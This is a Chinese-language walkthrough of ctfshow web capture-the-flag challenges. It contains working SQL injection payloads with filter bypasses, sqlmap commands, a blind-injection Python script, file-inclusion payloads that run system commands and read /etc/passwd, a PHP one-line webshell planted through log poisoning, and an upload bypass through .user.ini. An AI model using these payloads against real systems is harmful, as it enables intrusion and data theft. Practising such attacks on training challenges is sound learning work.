ctfshow之web通关
web签到题(so easy)
- F12,看到有一串字符串,base64解码
yeah~成功拿到flag
web2:SQL注入漏洞(联合查询)
-
先输入万能密码
1'or 1=1 #
回显成功
-
联合查询(
union select
)
1' union select 1,2,3#
:从1试到3发现有三个字段,而且发现回显的位置是第二个
-
查表
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
-
查询flag表的字段名
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#
此处flag为字段名
-
取数据:
1' union select 1,flag,3 from flag#
,得到flag
yeah~成功拿到flag
web3:文件包含漏洞
-
由提示include可知这是一道文件包含漏洞题
-
测试
/?url=/etc/passwd
回显成功
-
查询当前目录下的文件结构
/?url=data://text/plain,<?php print_r(glob("*")); ?>
-
查看ctf_go_go_go文件
/?url=data://text/plain,<?php system("cat ctf_go_go_go"); ?>
yeah~成功拿到flag
web4:文件包含漏洞(日志注入)
-
由提示可知这是文件包含漏洞,与第三题类似
-
测试
/?url=/etc/passwd
成功显示
-
重复web3的步骤
输入/?url=data://text/plain,<?php print_r(glob("*")); ?>
error,可能PHP被过滤,尝试其它方法
-
日志注入
查看日志文件/?url=/var/log/nginx/access.log
-
把一句话木马
<?php @eval($_POST['a']);?>
加入到参数里面
-
用蚁剑进行连接
yeah~成功拿到flag
web5:md5绕过
where is flag?
<?php
error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
</body>
-
代码审计:输入v1,v2的值,使两者的md5值0e开头,在PHP中0e会被当做科学计数法,最后以0做处理,结果相等,成功绕过,而且v1为字符,v2为数字
输入
/?v1=QNKCDZO&v2=240610708
yeah~成功拿到flag
web6:SQL注入漏洞(空格被过滤)
-
猜测为SQL注入,先输入万能密码
显示sql inject error,说明可能有字符被过滤 -
burpsuite进行抓包
发现空格被过滤了一般空格被过滤有如下替换方法: ①/**/ ②() ③回车(url编码中的%0a) ④` ⑤tap ⑥两个空格
随便使用其中一种替换空格,此处使用 /**/
- 联合查询查看回显位置:
username=admin'/**/union/**/select/**/1,2,3#&password=1
- 爆库:
username=admin'/**/union/**/select/**/1,database(),3#&password=1
- 爆表:
username=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=1
- 爆字段:
username=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1
- 爆字段值:
username=admin'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#&password=1
yeah~成功拿到flag
web7:SQL注入漏洞(盲注&sqlmap)
- 点开其中一篇文章变为id=1;猜测这题为SQL注入
- 输入
id=1||1
显示全部文章内容,说明为整型注入,而且经过测试发现与上一题一样空格也被过滤了
布尔盲注
- 爆库
id=-1/**/or/**/ascii(substr(database(),1,1))=119
——w
id=-1/**/or/**/ascii(substr(database(),2,1))=101
——e
id=-1/**/or/**/ascii(substr(database(),3,1))=98
——b
id=-1/**/or/**/substr(database(),4,1)=7
——7 - 爆表:
id=-1/**/or/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),1,1))
——(flag,page,user) - 爆字段:
id=-1/**/or/**/ascii(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"/**/limit/**/0,1),1,1))
——(flag) - 爆字段值:
id=-1/**/or/**/ascii(substr((select/**/flag/**/from/**/flag/**/limit/**/0,1),1,1))
这个方法太累了,不要用它,ε=(´ο`*)))唉
sqlmap
因为此题空格被过滤,所以需要使用tamper脚本中的space2comment板块,用“/**/”替换空格符
-
爆数据库名称:
python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch --dbs
-
爆当前数据库名称:
python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch --current-db
-
爆表:
python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch -D web7 --tables
-
爆字段:
python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag --columns
-
爆字段名:
python sqlmap.py -u "http://532592ec-5d47-4fd0-b8fa-b2ae372386a9.challenge.ctf.show:8080/index.php?id=1" --tamper "space2comment" --batch -D web7 -T flag -C flag --dump
yeah~成功拿到flag
web8:SQL注入漏洞(布尔盲注)
跟web7一样,区别是此题过滤了空格和逗号
绕过方法:
①limit 0,1 → limit 1 offset 0
②substr(string,1,1) → substr(string from 1 for 1)
这里直接使用python脚本
import requests
s=requests.session()
url='http://4d23e74d-18f7-4f85-a48d-704d44ca4729.challenge.ctf.show:8080/index.php'
table=""
for i in range(1,46): #这里要根据名字长度进行修改
print(i)
for j in range(31,128):
#需要手动依次注释下面三个
#爆表名
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段值
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=-1/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
暂时还不知道sqlmap的过滤逗号绕过的脚本,可能是它没有吧,所以这里没有写怎么使用sqlmap
yeah~成功拿到flag
web9:robots.txt + SQL注入 + md5
-
猜测这是一道SQL注入漏洞,但经过各种尝试都没有回显
-
用dirsearch扫一下目录:
python dirsearch.py -u 网址 -e php
,发现有一个robots.txt文件,我们访问他一下
-
访问robots.txt,发现一个不允许被访问的目录:index.php
-
访问index.phps,弹出弹窗,下载并查看它,源码泄露
<?php $flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and password ='".md5($password,true)."'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "登陆成功<br>"; echo $flag; } } ?>
-
其中有一行代码
username ='admin' and password ='".md5($password,true)."'
- PHP中 .点 起连接作用
- md5(string,raw)
参数 | 描述 |
---|---|
string | 必需;规定要计算的字符串。 |
raw | 可选;TRUE - 原始 - 16 字符二进制格式;FALSE - 默认 - 32 字符十六进制数 |
- 也就是说,我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成
username ='admin' and password =‘ ’or 'xxxxx'
的形式;逆过来,我们需要将' or 1=1
按照加密规则加密,得到的就是我们最后要的东xi 只要md5加密后的16进制转化为二进制时有 'or’xxxx
web10
-
发现有个取消按钮,点击它
-
出现源码
<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } } ?>
function replaceSpecialChar()
函数过滤了字符select|from|where|join|sleep|and|\s|union|,if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); }
过滤了双写绕过
下面是学习的新方法
-
with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。
-
在用户名框里输入payload:
admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
,密码框里为空即可。因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']
web11:
- 网页直接显示源码
<?php function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } if($password==$_SESSION['password']){ echo $flag; }else{ echo "error"; } ?>
- 代码审计:
function replaceSpecialChar($strParam)
函数绕过了select|from|where|join|sleep|and|\s|union|,
- 最后发现只要
$password==$_SESSION['password']
就可得到flag
- 把最后显示出来的条目全部删除,然后以空密码登录即可得到flag
web12
-
先赋一些本关需要知道的函数
- highlight_file()函数
- glob()函数
- highlight_file()函数
-
直接查看源码,看到提示
<!-- hit:?cmd= -->
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_web12</title>
</head>
<body>
<center>
<h2>ctf.show_web12</h2>
<h4>where is the flag?</h4>
<!-- hit:?cmd= -->
</body>
</html>
源码提示有个cmd变量
这里使用glob匹配文件名
构造payload:/?cmd=print_r(glob("*"));
发现有一个很长的php文件
使用高亮函数
payload:/?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
web13
先是上传了一个普通的图片马,结果提示文件内容太长
访问一下源码
在web题没有思路时,尝试一下源码泄露的问题。这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏,还有以.phps .bak结尾的网页
找到源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
代码审计:文件内容大小不能大于24,文件名长度不能大于9,后缀长度小于3且不能以php为后缀
开始上传,这里利用一下.usr.ini文件
:PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
上传成功,然后蚁剑连接
连接成功后显示没有权限
网页上直接访问